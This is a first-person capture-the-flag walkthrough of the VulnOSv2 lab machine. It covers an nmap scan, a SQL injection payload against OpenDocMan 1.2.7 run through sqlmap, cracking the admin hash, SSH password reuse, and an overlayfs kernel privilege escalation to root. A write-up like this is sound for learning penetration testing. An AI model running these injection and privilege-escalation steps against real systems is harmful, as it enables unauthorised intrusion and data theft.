“Your assignment is to pentest a company website, get root of the system and read the final flag”

```
┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.1.126
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 12:13 WET
Nmap scan report for VulnOSv2.home (192.168.1.126)
Host is up (0.00080s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open  irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.87 seconds
```

Never seen port 6667 before… But let’s explore the website first!

No relevant information besides a link to the company’s website: 192.168.1.126/jabc/

There’s a blank documentation page. Here’s something found in the source code:

For security reasons, this section is hidden.
For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest

After logging in, the following file list is show in the platform OpenDocMan (version v1.2.7)

ID	View	File Name	Description	Rights	Date Created	Modified Date	Author	Department	Size	Status
1	View	what_is_A.I.pdf	What is A.I. ?	r | w | -	21 Apr 2016 (16:12)	21 Apr 2016 (16:12)	min, web	Bioware	377.84 KB	✔
2	View	aramaki.jpg	Aramaki	r | w | -	21 Apr 2016 (16:15)	21 Apr 2016 (16:15)	min, web	Bioware	27.04 KB	✔
3	View	kusanagi.jpg	Kusanagi	r | w | -	21 Apr 2016 (16:16)	21 Apr 2016 (16:16)	min, web	Bioware	431.02 KB	✔
4	View	togusa.jpg	Togusa	r | w | -	21 Apr 2016 (16:16)	21 Apr 2016 (16:16)	min, web	Bioware	662.05 KB	✔
5	View	deaf-mute.jpg	laughing man	r | w | -	21 Apr 2016 (16:17)	21 Apr 2016 (16:17)	min, web	Bioware	83.07 KB	✔
6	View	gits-2.jpg	gits	r | w | -	21 Apr 2016 (16:19)	21 Apr 2016 (16:19)	min, web	Bioware	23.3 KB	✔
ID	View	File Name	Description	Rights	Date Created	Modified Date	Author	Department	Size	Status

Showing 1 to 6 of 6 entries

First Previous 1 Next Last

The files are a bunch of anime things and a quote by JD Salinger. I’ll investigate and try to connect the dots if I don’t find any vulnerabilities in the platform itself

From Exploit db “OpenDocMan 1.2.7 - Multiple Vulnerabilities” (https://www.exploit-db.com/exploits/32075), I took this:

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9

Running sqlmap on the url http://192.168.1.126/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user:

```
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
```

Well I’ll throw some commands at sqlmap and figure out the databases, tables and columns

id	Email	phone	password	username	last_name	department	first_name	pw_reset_code
1	webmin@example.com	5555551212	b78aae356709f8c31118ea613980954b	webmin	min	2	web	5005108e3d8c8a1c035c7606fe786d31

Database: jabcd0cs
Table: odm_user
This is the admin user.

I can’t crack the hash with crackstation but I did with hashes.com. The password is webmin1980, and it works for opendocman. But what now?
I can ssh webmin@192.168.1.126 with password webmin 1980. Now, privilege escalation!

```
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh webmin@192.168.1.126
webmin@192.168.1.126's password:
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Mar  2 18:30:49 CET 2021

  System load: 1.99               Memory usage: 43%   Processes:       79
  Usage of /:  5.7% of 29.91GB    Swap usage:   0%    Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Last login: Wed May  4 10:41:07 2016
$ /bin/bash -i
webmin@VulnOSv2:~$ whoami
webmin
webmin@VulnOSv2:~$
```

For some reason the program hydra is in a tar.gz file in webmin's home folder
"sudo -l" lets me know I can't run sudo at all

Let me run linpeas

- Linux version 3.13.0
- Ubuntu version 4.8.2
- Sudo version 1.8.9 (let's not use the 10 year old sudo cve)

Linux 3.13.0 has a major PE vulnerability: https://www.exploit-db.com/exploits/37292

```
webmin@VulnOSv2:~$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
webmin@VulnOSv2:~$ gcc ofs.c ofs
gcc: error: ofs: No such file or directory
webmin@VulnOSv2:~$ gcc ofs.c -o ofs
webmin@VulnOSv2:~$ id
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)
webmin@VulnOSv2:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
# /bin/bash -i
root@VulnOSv2:/home/webmin#
```

When I first started I used to love web app testing and HATE privilege escalation. Now it's almost the opposite. I find web app testing kind of boring and I love priv esc! Here's the flag

```
root@VulnOSv2:/# cd root
root@VulnOSv2:/root# ll
total 36
drwx------  3 root root 4096 May  4  2016 ./
drwxr-xr-x 21 root root 4096 Apr  3  2016 ../
-rw-------  1 root root    9 May  4  2016 .bash_history
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
drwx------  2 root root 4096 May  2  2016 .cache/
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
-rw-------  1 root root    3 May  2  2016 .psql_history
-rw-------  1 root root  735 May  4  2016 .viminfo
-rw-r--r--  1 root root  165 May  4  2016 flag.txt
root@VulnOSv2:/root# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?
root@VulnOSv2:/root#
```